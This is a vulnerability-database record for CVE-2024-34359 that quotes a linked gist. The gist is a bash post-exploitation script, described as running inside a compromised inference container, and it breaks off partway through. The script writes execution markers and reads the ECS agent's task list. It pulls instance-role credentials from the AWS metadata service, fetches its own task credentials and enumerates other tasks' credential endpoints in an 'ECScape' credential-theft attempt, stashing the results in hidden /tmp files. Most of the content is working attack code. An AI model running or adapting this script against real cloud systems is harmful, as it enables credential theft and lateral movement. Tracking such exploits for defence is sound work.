{"uuid": "049bf5ce-7003-4733-b2b5-348bc99bf8a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "https://gist.github.com/DesTinY0x01/0b049937a9a2289c498a0b797252120b", "content": "#!/bin/bash\n# CUCKOO Phase 5+6 \u2014 RCE proof + ECScape credential theft\n# This runs inside the stale inference container via CVE-2024-34359\n\n# Phase 5 \u2014 proof of execution\nid &gt; /tmp/.arc_marker\necho cuckoo &gt; /tmp/.escape_probe\n\n# Phase 6 \u2014 ECScape: steal deploy-role credentials from co-located ECS task\n# The container runs with --network host, so 127.0.0.1:51678 is reachable\n\n# Step 1: Enumerate all running tasks via ECS introspection\ncurl -s http://127.0.0.1:51678/v1/tasks &gt; /tmp/.ecs_tasks 2&gt;&amp;1\n\n# Step 2: Extract deploy task container ID\nDEPLOY_ID=$(cat /tmp/.ecs_tasks | python3 -c \"\nimport sys, json\ntry:\n    for t in json.load(sys.stdin)['Tasks']:\n        if t.get('KnownStatus')=='RUNNING' and t.get('Family')=='arc-deploy-task':\n            print(t['Containers'][0]['DockerId'][:12])\nexcept: pass\n\" 2&gt;/dev/null)\n\n# Step 3: Get instance role from IMDS\nTOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' 2&gt;/dev/null)\nROLE=$(curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2&gt;/dev/null)\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE &gt; /tmp/.instance_creds 2&gt;&amp;1\n\n# Step 4: Read our own task credential URI and fetch creds\nif [ -n \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" ]; then\n    curl -s http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI &gt; /tmp/.own_task_creds 2&gt;&amp;1\nfi\n\n# Step 5: Try to reach the deploy task's credential endpoint\n# The ECS agent serves creds at /v2/credentials/{id} for each task\n# We can enumerate credential IDs from the task metadata\ncat /tmp/.ecs_tasks | python3 -c \"\nimport sys, json, urllib.request\ntasks = json.load(sys.stdin).get('Tasks', [])\nfor t in tasks:\n    if t.get('KnownStatus') != 'RUNNING':\n        continue\n    family = t.get('Family', '')\n    arn = t.get('Arn', '')\n    containers = t.get('Containers', [])\n    print(f'Task: {family} | ARN: {arn}')\n    for c in containers:\n        docker_id = c.get('DockerId', '')[:12]\n        print(f'  Container: {c.get(\\\"Name\\\",\\\"\\\")} | Docker: {docker_id}')\n\" &gt; /tmp/.ecscape_recon 2&gt;&amp;1\n\n# Step 6: Use the ECS agent introspection to get ALL task credential endpoints\n# The v4 metadata endpoint exposes credential URIs per task\ncurl -s http://127.0.0.1:51678/v1/tasks | python3 &lt;&lt; 'PYTHON' &gt; /tmp/.all_cred_uris 2&gt;&amp;1\nimport sys, json, urllib.request\n\ntasks = json.load(sys.stdin).get('Tasks', [])\nfor t in tasks:\n    if t.get('KnownStatus') != 'RUNNING':\n        continue\n    family = t.get('Family', '')\n\n    # Try to get credentials from the task's containers\n    for c in t.get('Containers', []):\n        docker_id = c.get('DockerId', '')[:12]\n        # The ECS agent exposes task role credentials at the task metadata endpoint\n        #", "creation_timestamp": "2026-09-15T08:15:12.688412Z"}